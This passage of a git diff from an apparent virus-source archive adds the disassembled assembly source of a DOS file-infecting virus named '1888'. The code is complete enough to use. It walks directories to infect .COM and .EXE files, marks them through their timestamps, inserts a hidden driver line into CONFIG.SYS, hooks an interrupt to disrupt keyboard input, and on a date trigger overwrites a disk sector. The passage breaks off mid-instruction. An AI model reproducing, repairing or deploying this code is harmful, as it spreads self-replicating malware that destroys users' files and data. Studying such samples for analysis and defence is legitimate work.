mov ss:[si],di +loc_0EC4: + mov ds,bx + mov es,bx + retf ; Return far + db 8Ch,0D0h, 2Eh,0A3h, 26h, 01h + db 2Eh, 89h, 26h, 24h, 01h, 8Ch + db 0C8h, 8Eh,0D0h,0BCh,0F7h, 01h + db 1Eh, 8Eh,0D8h, 58h,0A3h, 28h + db 01h,0E8h,0E6h,0FAh, 8Ch,0C8h + db 8Eh,0C0h,0E8h, 6Dh,0FAh + db 0BAh, 9Dh, 01h,0B4h, 1Ah,0CDh + db 21h,0E8h, 1Bh,0FBh,0E8h, 0Eh + db 0FBh, 73h, 03h,0E9h, 9Eh, 00h +loc_0EFE: + call sub_0989 + jc loc_0F06 ; Jump if carry Set + jmp loc_0F9C +loc_0F06: + call sub_099C + call sub_0A32 + mov data_011E,0 +loc_0F11: + call sub_0AB7 + jc loc_0F62 ; Jump if carry Set +loc_0F16: + cmp data_019C,4 + ja loc_0F9C ; Jump if above + call sub_0ACE + call sub_0AAF + jnc loc_0F5C ; Jump if carry=0 + cmp data_010A,4 + ja loc_0F5C ; Jump if above + call sub_0B08 + jc loc_0F9C ; Jump if carry Set + cmp data_011E,0 + je loc_0F3D ; Jump if equal + call sub_0B1D + jmp short loc_0F40 +loc_0F3D: + call sub_0BD4 +loc_0F40: + call sub_0ADF + jc loc_0F9C ; Jump if carry Set + inc data_019C + cmp data_019B,1 + je loc_0F5C ; Jump if equal + call sub_0C40 + jz loc_0F5C ; Jump if zero + call sub_0C87 + jc loc_0F9C ; Jump if carry Set + jmp short loc_0F11 +loc_0F5C: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_0F16 ; Jump if carry=0 +loc_0F62: + cmp data_011E,1 + je loc_0F70 ; Jump if equal + mov data_011E,1 + jmp short loc_0F11 +loc_0F70: + mov data_011E,0 + cmp data_019A,0 + jne loc_0F8B ; Jump if not equal + lea dx,data_015A ; ('C:\') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov data_019A,0FFh + jmp short loc_0F11 +loc_0F8B: + cmp data_0182,0 + je loc_0F9C ; Jump if equal + call sub_0A8A + dec data_0182 + jmp loc_0F11 +loc_0F9C: + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_0C40 + jz loc_0FAC ; Jump if zero + call sub_0C50 +loc_0FAC: + mov ax,word ptr data_012C+2 + mov es,ax + mov cx,5Bh + mov si,offset data_070C + xor di,di ; Zero register + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_09EE + call data_012C + +seg_a ends + + + + end start diff --git a/0-9/1888.asm b/0-9/1888.asm new file mode 100755 index 0000000..ccc01a3 --- /dev/null +++ b/0-9/1888.asm @@ -0,0 +1,1923 @@ + +PAGE 59,132 + +; +; +; 1888 +; +; Created: 28-Jul-92 +; Passes: 5 Analysis Options on: none +; +; + +d_0040_001C_e equ 1Ch +d_0040_004A_e equ 4Ah +d_8B38_0003_e equ 3 ;* +data_0012_e equ 12h +data_0016_e equ 16h +data_00A3_e equ 0A3h +data_00A7_e equ 0A7h +data_00A9_e equ 0A9h +data_00AB_e equ 0ABh +data_00AF_e equ 0AFh +data_00B3_e equ 0B3h +data_00B5_e equ 0B5h +d_9E01_0000_e equ 0 ;* +d_9E01_0002_e equ 2 ;* +d_9E01_0004_e equ 4 ;* +d_9E01_0008_e equ 8 ;* +d_9E01_0014_e equ 14h ;* +d_9E01_0016_e equ 16h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +1888 proc far + +start: + jmp loc_0767 +data_0103 db 20h +data_0104 dw 86C0h +data_0106 dw 18FCh +data_0108 dw 762h +data_010A dw 0 +data_010C db '1888.COM', 0 + db 00h, 00h, 00h,0A6h +data_0119 dw 25h +data_011B db 1 +data_011C dw 760h +data_011E db 0 +data_011F db 0 +data_0120 dw 762h +data_0122 dw 760h +data_0124 dw 0FFFEh +data_0126 dw 5369h ; Data table (indexed access) +data_0128 dw 5369h +data_012A dw 4C97h +data_012C dd 9E010000h +data_0130 dw 7C8h +data_0132 db 8 +data_0133 db 10h +data_0134 db 0 +data_0135 db 10h + db 0, 0, 0, 0 +data_013A db '\DANGER\1888' + db 20 dup (0) +data_015A db 'C:\', 0 + db '*', 0 + db 'NETWARE', 0 + db 'LMS', 0 + db 'MAUS', 0 + db 'MDB', 0 + db 'DOS', 0 + db 'BASE', 0 + db 'L', 0 +data_0180 dw 160h +data_0182 db 0 +data_0183 db 1 + db 14h, 17h, 6Eh, 00h, 01h,0A9h + db 00h, 01h,0BFh + db 38h +data_018E db 2Ah + db 2Eh, 65h, 78h, 65h, 00h +data_0194 db 2Ah + db 2Eh, 63h, 6Fh, 6Dh, 00h +data_019A db 0 +data_019B db 0 +data_019C db 0 +data_019D db 4 + db 3Fh + db 7 dup (3Fh) + db 43h, 4Fh, 4Dh, 23h, 04h, 00h + db 0F3h, 31h, 0Dh, 4Dh, 18h, 68h + db 20h,0C0h, 86h,0FCh, 18h, 62h + db 07h, 00h, 00h + db '1888.COM' + db 00h, 00h, 00h, 00h,0A6h,0EAh + db 0AAh, 03h, 00h,0CCh,0AAh, 03h + db 60h, 07h, 00h, 40h, 05h, 00h + db 60h, 07h, 00h, 01h,0C8h, 01h + db 19h, 01h, 00h, 00h, 69h, 53h + db 69h, 53h, 61h, 06h, 9Dh, 04h + db 16h, 32h, 21h, 00h, 7Bh, 1Ah + db 12h, 32h,0ADh, 04h, 69h, 53h + db 12h, 32h,0DEh, 07h + +1888 endp + +; +; SUBROUTINE +; + +sub_01F7 proc near + cmp data_011C,0 + jne loc_0207 ; Jump if not equal + mov ax,760h + mov data_011C,ax + mov data_0120,ax +loc_0207: + mov al,data_011E + mov data_011F,al + mov ax,data_0120 + mov data_0122,ax + inc data_0119 + mov data_019C,0 + mov data_019A,0 + mov data_019B,0 + retn +sub_01F7 endp + + +; +; SUBROUTINE +; + +sub_0227 proc near + lea dx,data_0183 ; Load effective addr + xor al,al ; Zero register + mov ah,3Dh ; '=' + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_0239 ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + +loc_ret_0239: + retn +sub_0227 endp + + +; +; SUBROUTINE +; + +sub_023A proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + mov ah,dh + cmp cx,data_0130 + je loc_0249 ; Jump if equal + add ah,0Ch +loc_0249: + sub ah,data_0132 + mov data_011B,ah + mov data_0134,al + mov data_0133,dl + mov data_0132,dh + mov data_0130,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov data_0135,ch + retn +sub_023A endp + + +; +; SUBROUTINE +; + +sub_0269 proc near + mov ax,es + dec ax + push es + mov es,ax + mov ax,es:d_8B38_0003_e + mov data_012A,ax + pop es + mov bx,ax + sub bx,200h + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + mov bx,150h + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov word ptr data_012C+2,ax + retn +sub_0269 endp + + +; +; SUBROUTINE +; + +sub_028C proc near + push es + mov ax,word ptr data_012C+2 + mov es,ax + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ax,data_0128 + mov es,ax + mov bx,data_012A + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + pop es + retn +sub_028C endp + + +; +; SUBROUTINE +; + +sub_02A5 proc near + push ds + mov ah,1Bh + int 21h ; DOS Services ah=function 1Bh + ; get disk info, default drive + ; al=sectors per cluster + ; ds:bx=ptr to media ID byte + ; cx=sector size, dx=clusters + cmp byte ptr [bx],0F8h + pop ds + retn +sub_02A5 endp + + +; +; SUBROUTINE +; + +sub_02AF proc near + lea si,data_019D ; Load effective addr + mov di,si + xor dl,dl ; Zero register + mov ah,47h ; 'G' + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + ; ds:si=ASCIIZ directory name + mov cx,30h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + lea di,data_013A ; ('\DANGER\1888') Load effective addr + mov al,5Ch ; '\' + stosb ; Store al to es:[di] + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_02AF endp + + +; +; SUBROUTINE +; + +sub_02D0 proc near + mov data_0182,0 + lea bx,cs:[160h] ; Load effective addr + add bx,20h + mov data_0180,bx + sub bx,20h + lea dx,data_015A+4 ; ('*') Load effective addr + mov cx,33h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_031F ; Jump if carry Set +loc_02F0: + lea di,data_019D ; Load effective addr + add di,1Eh + cmp byte ptr [di],2Eh ; '.' + je loc_0319 ; Jump if equal + mov si,di + mov cx,20h + mov al,0 + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,di + sub cx,si + mov di,bx + add bx,cx + cmp bx,data_0180 + ja loc_031F ; Jump if above + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + inc data_0182 +loc_0319: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_02F0 ; Jump if carry=0 +loc_031F: + lea bx,cs:[160h] ; Load effective addr + mov data_0180,bx + retn +sub_02D0 endp + + +; +; SUBROUTINE +; + +sub_0328 proc near + cmp data_0182,0 + je loc_ret_034C ; Jump if equal + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov dx,data_0180 + mov di,dx + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov al,0 + mov cx,20h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov data_0180,di + +loc_ret_034C: + retn +sub_0328 endp + + +; +; SUBROUTINE +; + +sub_034D proc near + mov ax,data_0104 + and al,1Fh + cmp al,1Eh + retn +sub_034D endp + + +; +; SUBROUTINE +; + +sub_0355 proc near + lea dx,data_0194 ; Load effective addr + cmp data_011E,0 + je loc_0364 ; Jump if equal + lea dx,data_018E ; Load effective addr +loc_0364: + mov cx,23h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + retn +sub_0355 endp + + +; +; SUBROUTINE +; + +sub_036C proc near + lea si,data_019D ; Load effective addr + add si,15h + lea di,data_0103 ; Load effective addr + mov cx,16h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_036C endp + + +; +; SUBROUTINE +; + +sub_037D proc near + pushf ; Push flags + mov cx,data_0104 + or cl,1Fh + and cl,0FEh + mov dx,data_0106 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + lea dx,data_010C ; ('1888.COM') Load effective addr + xor ch,ch ; Zero register + mov cl,data_0103 + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + popf ; Pop flags + retn +sub_037D endp + + +; +; SUBROUTINE +; + +sub_03A6 proc near + lea dx,data_010C ; ('1888.COM') Load effective addr + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_ret_03BA ; Jump if carry Set + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + +loc_ret_03BA: + retn +sub_03A6 endp + + +; +; SUBROUTINE +; + +sub_03BB proc near + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov cx,100h + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + cmp word ptr ds:d_9E01_0000_e,5A4Dh + nop ;*ASM fixup - sign extn byte + je loc_03D6 ; Jump if equal + stc ; Set carry flag + jmp loc_0455 +loc_03D6: + call sub_0457 + push ax + mov ax,di + and ax,0Fh + mov cx,10h + xor dx,dx ; Zero register + sub cx,ax + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jnc loc_03EF ; Jump if carry=0 + jmp short loc_0455 + db 90h +loc_03EF: + mov si,ax + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_0455 ; Jump if carry Set + pop dx + mov ax,di + add ax,si + add ax,100h + cmp ax,200h + jb loc_040B ; Jump if below + and ax,1FFh + inc dx +loc_040B: + mov cl,4 + shr ax,cl ; Shift w/zeros fill + dec dx + mov cl,5 + shl dx,cl ; Shift w/zeros fill + sub dx,ds:d_9E01_0008_e + add ax,dx + sub ax,10h + mov ds:d_9E01_0016_e,ax + mov word ptr ds:d_9E01_0014_e,100h + push ds + mov ax,cs + mov ds,ax + mov cx,data_011C + mov dx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + jc loc_0455 ; Jump if carry Set + call sub_0457 + mov ds:d_9E01_0002_e,di + mov ds:d_9E01_0004_e,ax + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_0455 ; Jump if carry Set + mov cx,100h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_0455: + pop ds + retn +sub_03BB endp + + +; +; SUBROUTINE +; + +sub_0457 proc near + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov di,ax + and di,1FFh + mov cl,9 + shr ax,cl ; Shift w/zeros fill + mov cl,7 + shl dx,cl ; Shift w/zeros fill + add ax,dx + inc ax + retn +sub_0457 endp + + +; +; SUBROUTINE +; + +sub_0472 proc near + mov ax,data_0108 + mov data_0120,ax + mov cx,data_011C + cmp cx,ax + jb loc_0488 ; Jump if below + mov data_0120,cx + mov cx,data_0108 +loc_0488: + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + jc loc_ret_04DD ; Jump if carry Set + mov ax,4200h + xor dx,dx ; Zero register + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_04DD ; Jump if carry Set + mov dx,100h + mov cx,data_011C + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + int 3 ; Debug breakpoint + cmp ax,cs:data_0108 + ja loc_04CC ; Jump if above + mov ax,4200h + mov dx,data_0108 + mov data_0120,dx + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_ret_04DD ; Jump if carry Set + mov cx,data_011C + jmp short loc_04D0 +loc_04CC: + mov cx,data_0108 +loc_04D0: + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + xor dx,dx ; Zero register + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + pop ds + +loc_ret_04DD: + retn +sub_0472 endp + + +; +; SUBROUTINE +; + +sub_04DE proc near + cmp data_011B,2 + ja loc_04E8 ; Jump if above + xor ax,ax ; Zero register + retn +loc_04E8: + mov al,data_0133 + and al,1 + retn +sub_04DE endp + + +; +; SUBROUTINE +; + +sub_04EE proc near + cmp data_0133,0Fh + jb loc_0507 ; Jump if below + mov al,data_0135 + cmp al,13h + jb loc_0507 ; Jump if below + mov ax,40h + mov es,ax + mov byte ptr es:d_0040_004A_e,23h ; '#' +loc_0507: + cmp data_0133,0Dh + jne loc_ret_0524 ; Jump if not equal + cmp data_0134,5 + jne loc_ret_0524 ; Jump if not equal + mov ax,301h + mov cx,1 + mov dx,50h + xor bx,bx ; Zero register + mov es,bx + int 13h ; Disk dl=drive ? ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + +loc_ret_0524: + retn +sub_04EE endp + + +; +; SUBROUTINE +; + +sub_0525 proc near + mov data_019B,1 + lea dx,data_05C1 ; Load effective addr + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jnc loc_0564 ; Jump if carry=0 + mov ah,3Ch ; '<' + mov cx,6 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + lea dx,data_05EE ; Load effective addr + mov cx,data_070A + mov si,dx + add si,data_00B3_e + mov ax,data_0130 + mov [si],ax + mov ah,data_0132 + mov [si+2],ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jc loc_05BD ; Jump if carry Set +loc_0564: + lea dx,data_05C7 ; Load effective addr + mov cx,27h + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_05BD ; Jump if carry Set + call sub_036C + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + jc loc_05BD ; Jump if carry Set + mov cx,data_0108 + push es + push ds + mov ax,word ptr data_012C+2 + mov ds,ax + mov es,ax + xor dx,dx ; Zero register + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + pop ds + mov dx,ax + mov ax,0FFFFh + xor di,di ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp ax,es:[di-1] + pop es + jz loc_05BD ; Jump if zero + mov ax,4200h + xor cx,cx ; Zero register + dec dx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_05BD ; Jump if carry Set + lea dx,data_05D5 ; Load effective addr + mov cx,19h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_05BD: + call sub_037D + retn +sub_0525 endp + +data_05C1 db 43h + db 3Ah, 5Ch,0FFh,0FFh, 00h +data_05C7 db 'C:\CONFIG.SYS', 0 +data_05D5 db 'DEVICE =' + db 0FFh,0FFh + db ' COUNTRY.SYS', 0Dh, 0Ah + db 1Ah +data_05EE db 0FFh + db 0FFh,0FFh,0FFh, 40h,0C8h, 16h + db 00h, 21h, 00h + db 'hgt42 ' + db 00h, 00h, 00h, 00h, 2Eh, 89h + db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h + db 14h, 00h,0CBh, 1Eh, 06h, 0Eh + db 1Fh,0C4h, 3Eh, 12h, 00h, 26h + db 8Ah, 45h, 02h, 3Ch, 00h, 75h + db 03h,0E8h, 82h, 00h + db 0Dh, 00h, 10h, 26h, 89h, 45h + db 03h, 07h, 1Fh,0CBh, 50h, 53h + db 51h, 1Eh + db 0E4h, 60h,0A8h, 80h, 75h, 30h + db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah + db 0C7h, 75h, 27h,0B8h, 40h, 00h + db 8Eh,0D8h,0E8h, 28h, 00h, 25h + db 05h, 00h, 8Bh,0C8h + db 0BBh, 1Ch, 00h + +locloop_064F: + mov ax,cs:data_00A9_e + mov [bx],ax + add bx,2 + cmp bx,3Fh + jb loc_0660 ; Jump if below + mov bx,1Eh +loc_0660: + mov word ptr ds:[1Ch],bx + loop locloop_064F ; Loop if cx > 0 + +loc_0666: + pop ds + pop cx + pop bx + pop ax + jmp dword ptr cs:data_00A3_e + +; +; SUBROUTINE +; + +sub_066F proc near + mov ax,cs:data_00A7_e + push ax + and ah,0B4h + pop ax + jp loc_067B ; Jump if parity=1 + stc ; Set carry flag +loc_067B: + rcl ax,1 ; Rotate thru carry + mov cs:data_00A7_e,ax + retn +sub_066F endp + + db 'hgt42 ' + db 00h, 56h, 31h, 00h, 46h, 52h + db 44h, 00h, 00h, 00h, 00h, 00h + db 00h, 65h, 12h, 65h, 73h, 74h + db 6Eh, 12h, 1Fh, 14h, 31h,0CDh + db 0ABh,0EFh + db 06h, 57h,0B4h, 2Ah,0CDh, 21h + db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h + db 74h, 03h, 80h,0C4h + db 0Ch +loc_06B5: + sub ah,ds:data_00B5_e + cmp ah,3 + jb loc_06FB ; Jump if below + mov ds:data_00B5_e,dh + mov ds:data_00B3_e,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov ds:data_00A7_e,dx + call sub_066F + mov bx,ax + and bx,3 + nop ;*ASM fixup - sign extn byte + mov al,ds:data_00AB_e[bx] + mov ah,ds:data_00AF_e[bx] + mov ds:data_00A9_e,ax + mov ax,3516h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_00A3_e,bx + mov bx,es + mov word ptr ds:data_00A3_e+2,bx + cli ; Disable interrupts +;* mov dx,offset loc_003E ;* + db 0BAh, 3Eh, 00h + mov ax,2516h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + sti ; Enable interrupts +loc_06FB: + pop di + pop es + mov word ptr es:[di+0Eh],0B6h + mov es:[di+10h],cs + xor ax,ax ; Zero register + retn +data_070A dw 11Ch +data_070C db 8Bh + db 1Eh, 28h, 01h,0A1h, 26h, 01h + db 8Eh,0D0h, 8Bh, 26h, 24h, 01h + dw 0EC83h, 8B04h + dw 80F4h, 1F3Eh + dw 1, 2875h + dw 0BFh, 3601h + dw 3C89h, 0FB8Bh + dw 8936h, 27Ch + dw 0FF33h, 8936h + dw 47Ch, 0BFh + dw 8B01h, 2236h + dw 301h, 8BF7h + dw 1C0Eh, 8C01h + dw 8ED8h, 0F3C0h + dw 0EBA4h, 9016h + db 8Bh,0FBh, 83h,0C7h, 10h,0A1h + db 16h, 00h, 03h,0F8h, 36h, 89h + db 7Ch, 02h, 8Bh, 3Eh, 14h, 00h + db 36h, 89h + db 3Ch + db 8Eh,0DBh, 8Eh,0C3h,0CBh +loc_0767: + mov ax,ss + mov cs:data_0126,ax + mov cs:data_0124,sp + mov ax,cs + mov ss,ax + mov sp,1F7h + push ds + mov ds,ax + pop ax + mov data_0128,ax + call sub_0269 + mov ax,cs + mov es,ax + call sub_01F7 + mov dx,offset data_019D + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + call sub_02AF + call sub_02A5 + jnc loc_079C ; Jump if carry=0 + jmp loc_083A +loc_079C: + call sub_0227 + jc loc_07A4 ; Jump if carry Set + jmp loc_083A +loc_07A4: + call sub_023A + call sub_02D0 + mov data_011E,0 +loc_07AF: + call sub_0355 + jc loc_0800 ; Jump if carry Set +loc_07B4: + cmp data_019C,4 + ja loc_083A ; Jump if above + call sub_036C + call sub_034D + jnc loc_07FA ; Jump if carry=0 + cmp data_010A,4 + ja loc_07FA ; Jump if above + call sub_03A6 + jc loc_083A ; Jump if carry Set + cmp data_011E,0 + je loc_07DB ; Jump if equal + call sub_03BB + jmp short loc_07DE +loc_07DB: + call sub_0472 +loc_07DE: + call sub_037D + jc loc_083A ; Jump if carry Set + inc data_019C + cmp data_019B,1 + je loc_07FA ; Jump if equal + call sub_04DE + jz loc_07FA ; Jump if zero + call sub_0525 + jc loc_083A ; Jump if carry Set + jmp short loc_07AF +loc_07FA: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_07B4 ; Jump if carry=0 +loc_0800: + cmp data_011E,1 + je loc_080E ; Jump if equal + mov data_011E,1 + jmp short loc_07AF +loc_080E: + mov data_011E,0 + cmp data_019A,0 + jne loc_0829 ; Jump if not equal + lea dx,data_015A ; ('C:\') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + mov data_019A,0FFh + jmp short loc_07AF +loc_0829: + cmp data_0182,0 + je loc_083A ; Jump if equal + call sub_0328 + dec data_0182 + jmp loc_07AF +loc_083A: + lea dx,data_013A ; ('\DANGER\1888') Load effective addr + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + call sub_04DE + jz loc_084A ; Jump if zero + call sub_04EE +loc_084A: + mov ax,word ptr data_012C+2 + mov es,ax + mov cx,5Bh + mov si,offset data_070C + xor di,di ; Zero register + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_028C + call data_012C + int 20h ; DOS program terminate + db 0E9h, 64h, 06h, 20h,0A4h, 86h + db 0FCh, 18h, 02h, 00h, 00h, 00h + db 31h, 2Eh, 43h, 4Fh, 4Dh, 00h + db 20h, 20h, 4Dh, 00h, 00h, 00h + db 0A6h, 24h, 00h, 00h, 60h, 07h + db 00h, 00h, 60h, 07h, 60h, 07h + db 0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh + db 94h, 92h, 00h, 00h, 01h, 9Eh + db 0C8h, 07h, 07h, 1Ch, 02h, 10h + db 00h, 00h, 00h, 00h, 5Ch, 00h + db 4Fh, 53h, 53h, 49h, 00h, 45h + db 4Eh, 00h + db 53h, 54h + db 20 dup (0) + db 'C:\', 0 + db '*', 0 + db 'NETWARE', 0 + db 'LMS', 0 + db 'MAUS', 0 + db 'MDB', 0 + db 'DOS', 0 + db 'BASE', 0 + db 'L', 0 + db '`' + db 01h, 00h, 01h, 14h, 17h, 6Eh + db 00h, 01h,0A9h, 00h, 01h,0BFh + db 38h, 2Ah, 2Eh, 65h, 78h, 65h + db 00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh + db 00h, 00h, 00h, 04h, 01h + db 3Fh + db 7 dup (3Fh) + db 43h, 4Fh, 4Dh, 23h, 0Ah, 00h + db 00h, 00h, 31h,0C0h, 50h, 9Ah + db 20h,0A4h, 86h,0FCh, 18h, 02h + db 00h, 00h, 00h, 31h, 2Eh, 43h + db 4Fh, 4Dh, 00h, 20h, 20h, 4Dh + db 00h, 00h, 00h,0A6h,0EAh,0AAh + db 03h, 00h,0CCh,0AAh, 03h, 00h + db 00h, 31h, 31h, 00h, 40h, 48h + db 07h, 00h, 40h, 6Ch, 15h, 6Ch + db 15h, 00h, 40h, 05h, 00h, 60h + db 07h, 00h, 01h,0C8h, 01h, 19h + db 01h, 82h, 08h, 6Ch, 0Dh, 6Ch + db 0Dh,0ADh, 04h, 6Ch, 0Dh, 46h + db 72h,0DEh, 07h + +; +; SUBROUTINE +; + +sub_0959 proc near + cmp data_011C,0 + jne loc_0969 ; Jump if not equal + mov ax,760h + mov data_011C,ax + mov data_0120,ax +loc_0969: + mov al,data_011E + mov data_011F,al + mov ax,data_0120 + mov data_0122,ax + inc data_0119 + mov data_019C,0 + mov data_019A,0 + mov data_019B,0 + retn +sub_0959 endp + + +; +; SUBROUTINE +; + +sub_0989 proc near + lea dx,data_0183 ; Load effective addr + xor al,al ; Zero register + mov ah,3Dh ; '=' + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_099B ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + +loc_ret_099B: + retn +sub_0989 endp + + +; +; SUBROUTINE +; + +sub_099C proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + mov ah,dh + cmp cx,data_0130 + je loc_09AB ; Jump if equal + add ah,0Ch +loc_09AB: + sub ah,data_0132 + mov data_011B,ah + mov data_0134,al + mov data_0133,dl + mov data_0132,dh + mov data_0130,cx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov data_0135,ch + retn +sub_099C endp + + +; +; SUBROUTINE +; + +sub_09CB proc near + mov ax,es + dec ax + push es + mov es,ax + mov ax,es:d_8B38_0003_e + mov data_012A,ax + pop es + mov bx,ax + sub bx,200h + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + mov bx,150h + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov word ptr data_012C+2,ax + retn +sub_09CB endp + + +; +; SUBROUTINE +; + +sub_09EE proc near + push es + mov ax,word ptr data_012C+2 + mov es,ax + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov 